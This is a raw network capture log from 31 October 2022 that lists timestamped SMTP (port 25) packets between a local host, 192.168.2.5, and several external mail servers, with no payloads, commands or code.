Oct 31, 2022 12:20:12.516421080 CET	25	49862	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:12.516499996 CET	25	49862	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:12.516511917 CET	25	49862	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:12.516530991 CET	49862	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:12.516540051 CET	25	49862	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:12.516596079 CET	49862	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:12.516596079 CET	49862	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:12.516660929 CET	25	49862	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:12.516674995 CET	25	49862	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:12.516783953 CET	25	49862	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:12.516834974 CET	25	49862	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:12.516845942 CET	25	49862	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:12.516856909 CET	25	49862	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:12.516870022 CET	25	49862	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:12.516901970 CET	25	49862	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:12.521393061 CET	25	49862	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:12.521416903 CET	25	49862	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:12.550409079 CET	25	49862	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:12.550445080 CET	25	49862	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:12.550460100 CET	25	49862	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:12.550471067 CET	25	49862	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:12.550481081 CET	25	49862	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:12.550496101 CET	25	49862	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:12.550509930 CET	25	49862	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:12.550520897 CET	25	49862	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:12.550532103 CET	25	49862	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:12.550542116 CET	25	49862	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:12.550556898 CET	25	49862	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:12.550570965 CET	25	49862	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:12.550585032 CET	25	49862	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:12.550599098 CET	25	49862	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:12.550612926 CET	25	49862	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:12.550626993 CET	25	49862	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:12.550642014 CET	25	49862	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:12.550657034 CET	25	49862	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:12.582962990 CET	25	49695	85.187.148.2	192.168.2.5
Oct 31, 2022 12:20:12.583208084 CET	49695	25	192.168.2.5	85.187.148.2
Oct 31, 2022 12:20:12.738054037 CET	25	49695	85.187.148.2	192.168.2.5
Oct 31, 2022 12:20:12.738099098 CET	25	49695	85.187.148.2	192.168.2.5
Oct 31, 2022 12:20:12.738372087 CET	49695	25	192.168.2.5	85.187.148.2
Oct 31, 2022 12:20:12.753684044 CET	49695	25	192.168.2.5	85.187.148.2
Oct 31, 2022 12:20:12.892941952 CET	25	49862	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:12.892971039 CET	25	49862	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:12.893063068 CET	49862	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:12.893207073 CET	49862	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:12.908471107 CET	25	49695	85.187.148.2	192.168.2.5
Oct 31, 2022 12:20:12.908497095 CET	25	49695	85.187.148.2	192.168.2.5
Oct 31, 2022 12:20:12.908509016 CET	25	49695	85.187.148.2	192.168.2.5
Oct 31, 2022 12:20:12.908655882 CET	49695	25	192.168.2.5	85.187.148.2
Oct 31, 2022 12:20:12.908655882 CET	49695	25	192.168.2.5	85.187.148.2
Oct 31, 2022 12:20:12.908678055 CET	25	49695	85.187.148.2	192.168.2.5
Oct 31, 2022 12:20:12.908807993 CET	49695	25	192.168.2.5	85.187.148.2
Oct 31, 2022 12:20:12.927043915 CET	25	49862	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:12.935554981 CET	49863	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:20:13.061954975 CET	49864	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:13.063364983 CET	25	49695	85.187.148.2	192.168.2.5
Oct 31, 2022 12:20:13.063393116 CET	25	49695	85.187.148.2	192.168.2.5
Oct 31, 2022 12:20:13.063505888 CET	49695	25	192.168.2.5	85.187.148.2
Oct 31, 2022 12:20:13.063607931 CET	25	49695	85.187.148.2	192.168.2.5
Oct 31, 2022 12:20:13.063622952 CET	25	49695	85.187.148.2	192.168.2.5
Oct 31, 2022 12:20:13.063682079 CET	25	49695	85.187.148.2	192.168.2.5
Oct 31, 2022 12:20:13.063689947 CET	49695	25	192.168.2.5	85.187.148.2
Oct 31, 2022 12:20:13.065403938 CET	49865	25	192.168.2.5	142.250.157.26
Oct 31, 2022 12:20:13.079787016 CET	25	49863	209.51.188.92	192.168.2.5
Oct 31, 2022 12:20:13.079879999 CET	49863	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:20:13.116270065 CET	25	49864	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:13.116358042 CET	49864	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:13.130712986 CET	49866	25	192.168.2.5	198.252.153.129
Oct 31, 2022 12:20:13.171746016 CET	25	49864	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:13.171979904 CET	49864	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:13.218101025 CET	25	49695	85.187.148.2	192.168.2.5
Oct 31, 2022 12:20:13.218250036 CET	25	49695	85.187.148.2	192.168.2.5
Oct 31, 2022 12:20:13.218265057 CET	25	49695	85.187.148.2	192.168.2.5
Oct 31, 2022 12:20:13.218393087 CET	25	49695	85.187.148.2	192.168.2.5
Oct 31, 2022 12:20:13.226267099 CET	25	49864	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:13.229459047 CET	25	49864	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:13.229665041 CET	49864	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:13.234077930 CET	25	49863	209.51.188.92	192.168.2.5
Oct 31, 2022 12:20:13.239006042 CET	49863	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:20:13.284308910 CET	25	49864	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:13.284538031 CET	49864	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:13.304279089 CET	25	49866	198.252.153.129	192.168.2.5
Oct 31, 2022 12:20:13.304379940 CET	49866	25	192.168.2.5	198.252.153.129
Oct 31, 2022 12:20:13.344084024 CET	25	49864	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:13.381959915 CET	25	49865	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:13.382081985 CET	49865	25	192.168.2.5	142.250.157.26
Oct 31, 2022 12:20:13.385008097 CET	25	49863	209.51.188.92	192.168.2.5
Oct 31, 2022 12:20:13.385171890 CET	49863	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:20:13.478485107 CET	25	49866	198.252.153.129	192.168.2.5
Oct 31, 2022 12:20:13.478671074 CET	49866	25	192.168.2.5	198.252.153.129
Oct 31, 2022 12:20:13.510627985 CET	25	49864	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:13.510822058 CET	49864	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:13.529623032 CET	25	49863	209.51.188.92	192.168.2.5
Oct 31, 2022 12:20:13.529865980 CET	49863	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:20:13.565145969 CET	25	49864	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:13.565491915 CET	25	49864	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:13.566065073 CET	49864	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:13.566967964 CET	49864	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:13.621275902 CET	25	49864	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:13.621308088 CET	25	49864	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:13.621320963 CET	25	49864	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:13.621332884 CET	25	49864	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:13.621346951 CET	25	49864	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:13.621481895 CET	49864	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:13.621481895 CET	49864	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:13.627006054 CET	25	49864	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:13.627095938 CET	49864	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:13.652215958 CET	25	49866	198.252.153.129	192.168.2.5
Oct 31, 2022 12:20:13.652354002 CET	25	49866	198.252.153.129	192.168.2.5
Oct 31, 2022 12:20:13.652546883 CET	49866	25	192.168.2.5	198.252.153.129
Oct 31, 2022 12:20:13.675914049 CET	25	49864	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:13.675947905 CET	25	49864	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:13.675959110 CET	25	49864	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:13.675966024 CET	25	49864	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:13.675973892 CET	25	49864	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:13.675982952 CET	25	49864	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:13.675988913 CET	25	49864	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:13.676000118 CET	25	49864	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:13.676009893 CET	25	49864	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:13.676019907 CET	25	49864	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:13.676029921 CET	25	49864	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:13.676040888 CET	25	49864	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:13.676052094 CET	25	49864	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:13.676063061 CET	25	49864	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:13.676074982 CET	25	49864	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:13.676088095 CET	25	49864	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:13.676101923 CET	25	49864	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:13.676116943 CET	25	49864	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:13.676196098 CET	49864	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:13.676304102 CET	49864	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:13.681430101 CET	25	49864	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:13.681457996 CET	25	49864	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:13.686595917 CET	25	49865	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:13.686685085 CET	49865	25	192.168.2.5	142.250.157.26
Oct 31, 2022 12:20:13.716710091 CET	25	49863	209.51.188.92	192.168.2.5
Oct 31, 2022 12:20:13.730561972 CET	25	49864	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:13.730592012 CET	25	49864	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:13.730603933 CET	25	49864	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:13.730612040 CET	25	49864	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:13.730623007 CET	25	49864	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:13.730633974 CET	25	49864	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:13.730693102 CET	25	49864	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:13.730705023 CET	25	49864	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:13.730716944 CET	25	49864	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:13.730727911 CET	25	49864	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:13.730740070 CET	25	49864	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:13.730751038 CET	25	49864	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:13.730761051 CET	25	49864	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:13.730775118 CET	25	49864	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:13.730787039 CET	25	49864	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:13.730798006 CET	25	49864	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:13.730809927 CET	25	49864	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:13.730820894 CET	25	49864	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:13.736579895 CET	25	49864	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:13.736845016 CET	49864	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:13.791690111 CET	25	49864	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:13.794183969 CET	49864	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:13.799046040 CET	49867	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:13.820386887 CET	25	49865	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:13.820852995 CET	49865	25	192.168.2.5	142.250.157.26
Oct 31, 2022 12:20:13.826277971 CET	25	49866	198.252.153.129	192.168.2.5
Oct 31, 2022 12:20:13.826566935 CET	49866	25	192.168.2.5	198.252.153.129
Oct 31, 2022 12:20:13.832582951 CET	25	49867	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:13.832771063 CET	49867	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:13.867963076 CET	25	49867	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:13.868410110 CET	49867	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:13.902214050 CET	25	49867	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:13.906080961 CET	25	49867	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:13.906436920 CET	49867	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:13.940347910 CET	25	49867	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:13.940563917 CET	49867	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:13.979485989 CET	25	49867	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:14.000152111 CET	25	49866	198.252.153.129	192.168.2.5
Oct 31, 2022 12:20:14.007221937 CET	49866	25	192.168.2.5	198.252.153.129
Oct 31, 2022 12:20:14.090724945 CET	25	49863	209.51.188.92	192.168.2.5
Oct 31, 2022 12:20:14.092256069 CET	49863	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:20:14.121727943 CET	25	49867	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:14.123327971 CET	49867	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:14.137593985 CET	25	49865	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:14.156860113 CET	25	49867	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:14.157576084 CET	25	49867	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:14.157948017 CET	49867	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:14.160641909 CET	49867	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:14.181174994 CET	25	49866	198.252.153.129	192.168.2.5
Oct 31, 2022 12:20:14.183438063 CET	49866	25	192.168.2.5	198.252.153.129
Oct 31, 2022 12:20:14.194371939 CET	25	49867	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:14.194412947 CET	25	49867	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:14.194423914 CET	25	49867	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:14.194432974 CET	25	49867	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:14.194446087 CET	25	49867	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:14.194751024 CET	49867	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:14.199492931 CET	25	49867	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:14.200298071 CET	49867	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:14.228425026 CET	25	49867	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:14.228461027 CET	25	49867	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:14.228473902 CET	25	49867	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:14.228486061 CET	25	49867	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:14.228498936 CET	25	49867	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:14.228509903 CET	25	49867	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:14.228522062 CET	25	49867	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:14.228533983 CET	25	49867	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:14.228545904 CET	25	49867	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:14.228557110 CET	25	49867	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:14.228569031 CET	25	49867	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:14.228583097 CET	25	49867	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:14.228585958 CET	49867	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:14.228595018 CET	25	49867	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:14.228585958 CET	49867	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:14.228650093 CET	25	49867	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:14.228663921 CET	25	49867	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:14.228676081 CET	25	49867	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:14.228688002 CET	25	49867	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:14.228702068 CET	25	49867	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:14.228733063 CET	49867	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:14.228734016 CET	49867	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:14.228785038 CET	49867	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:14.233782053 CET	25	49867	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:14.233812094 CET	25	49867	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:14.236313105 CET	25	49863	209.51.188.92	192.168.2.5
Oct 31, 2022 12:20:14.236464977 CET	49863	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:20:14.238271952 CET	25	49863	209.51.188.92	192.168.2.5
Oct 31, 2022 12:20:14.238435030 CET	49863	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:20:14.261029005 CET	25	49865	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:14.261600971 CET	49865	25	192.168.2.5	142.250.157.26
Oct 31, 2022 12:20:14.262053967 CET	25	49867	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:14.262074947 CET	25	49867	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:14.262088060 CET	25	49867	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:14.262100935 CET	25	49867	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:14.262134075 CET	25	49867	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:14.262145996 CET	25	49867	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:14.262159109 CET	25	49867	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:14.262171030 CET	25	49867	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:14.262182951 CET	25	49867	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:14.262196064 CET	25	49867	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:14.262207031 CET	25	49867	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:14.262218952 CET	25	49867	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:14.262232065 CET	25	49867	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:14.262243032 CET	25	49867	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:14.262254953 CET	25	49867	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:14.262267113 CET	25	49867	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:14.262279034 CET	25	49867	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:14.267121077 CET	25	49867	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:14.267468929 CET	49867	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:14.301892996 CET	25	49867	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:14.302495956 CET	49867	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:14.309082985 CET	49868	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:14.340356112 CET	25	49868	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:14.341943026 CET	49868	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:14.382494926 CET	25	49868	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:14.384362936 CET	49868	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:14.416018963 CET	25	49868	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:14.427167892 CET	25	49868	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:14.431237936 CET	49868	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:14.467331886 CET	25	49868	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:14.470896959 CET	25	49868	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:14.472335100 CET	49868	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:14.509017944 CET	25	49868	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:14.578154087 CET	25	49865	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:14.658917904 CET	25	49868	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:14.662421942 CET	49868	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:14.693941116 CET	25	49868	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:14.699146986 CET	25	49865	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:14.702095032 CET	25	49868	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:14.702311039 CET	49865	25	192.168.2.5	142.250.157.26
Oct 31, 2022 12:20:14.702452898 CET	49868	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:14.704737902 CET	49868	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:14.736268044 CET	25	49868	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:14.736304998 CET	25	49868	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:14.736320972 CET	25	49868	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:14.736334085 CET	25	49868	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:14.736349106 CET	25	49868	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:14.736604929 CET	49868	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:14.742055893 CET	25	49868	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:14.742264986 CET	49868	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:14.768160105 CET	25	49868	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:14.768209934 CET	25	49868	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:14.768223047 CET	25	49868	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:14.768229961 CET	25	49868	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:14.768238068 CET	25	49868	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:14.768249989 CET	25	49868	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:14.768261909 CET	25	49868	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:14.768285990 CET	25	49868	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:14.768299103 CET	25	49868	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:14.768311024 CET	25	49868	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:14.768321991 CET	25	49868	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:14.768336058 CET	25	49868	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:14.768351078 CET	25	49868	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:14.768367052 CET	25	49868	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:14.768383026 CET	25	49868	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:14.768398046 CET	25	49868	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:14.768413067 CET	25	49868	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:14.768431902 CET	25	49868	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:14.768474102 CET	49868	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:14.768543005 CET	49868	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:14.773840904 CET	25	49868	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:14.773875952 CET	25	49868	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:14.799947023 CET	25	49868	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:14.799994946 CET	25	49868	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:14.800008059 CET	25	49868	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:14.800017118 CET	25	49868	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:14.800024033 CET	25	49868	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:14.800035954 CET	25	49868	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:14.800059080 CET	25	49868	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:14.800066948 CET	25	49868	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:14.800080061 CET	25	49868	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:14.800087929 CET	25	49868	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:14.800095081 CET	25	49868	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:14.800101995 CET	25	49868	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:14.800113916 CET	25	49868	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:14.800122023 CET	25	49868	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:14.800132990 CET	25	49868	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:14.800146103 CET	25	49868	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:14.800172091 CET	25	49868	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:14.800183058 CET	25	49868	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:14.812937975 CET	25	49868	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:14.813286066 CET	49868	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:14.848135948 CET	49869	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:14.850009918 CET	25	49868	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:14.852798939 CET	25	49868	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:14.852962971 CET	49868	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:15.019066095 CET	25	49830	85.187.148.2	192.168.2.5
Oct 31, 2022 12:20:15.019102097 CET	25	49865	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:15.019474030 CET	49830	25	192.168.2.5	85.187.148.2
Oct 31, 2022 12:20:15.174139977 CET	25	49830	85.187.148.2	192.168.2.5
Oct 31, 2022 12:20:15.174422979 CET	49830	25	192.168.2.5	85.187.148.2
Oct 31, 2022 12:20:15.209088087 CET	25	49865	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:15.209661961 CET	49865	25	192.168.2.5	142.250.157.26
Oct 31, 2022 12:20:15.214380980 CET	25	49869	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:15.214704037 CET	49869	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:15.329361916 CET	25	49830	85.187.148.2	192.168.2.5
Oct 31, 2022 12:20:15.329725981 CET	49830	25	192.168.2.5	85.187.148.2
Oct 31, 2022 12:20:15.404550076 CET	25	49695	85.187.148.2	192.168.2.5
Oct 31, 2022 12:20:15.404923916 CET	49695	25	192.168.2.5	85.187.148.2
Oct 31, 2022 12:20:15.516046047 CET	25	49869	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:15.516391993 CET	49869	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:15.523875952 CET	25	49830	85.187.148.2	192.168.2.5
Oct 31, 2022 12:20:15.526340961 CET	25	49865	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:15.559813976 CET	25	49695	85.187.148.2	192.168.2.5
Oct 31, 2022 12:20:15.560075045 CET	49695	25	192.168.2.5	85.187.148.2
Oct 31, 2022 12:20:15.560647011 CET	25	49695	85.187.148.2	192.168.2.5
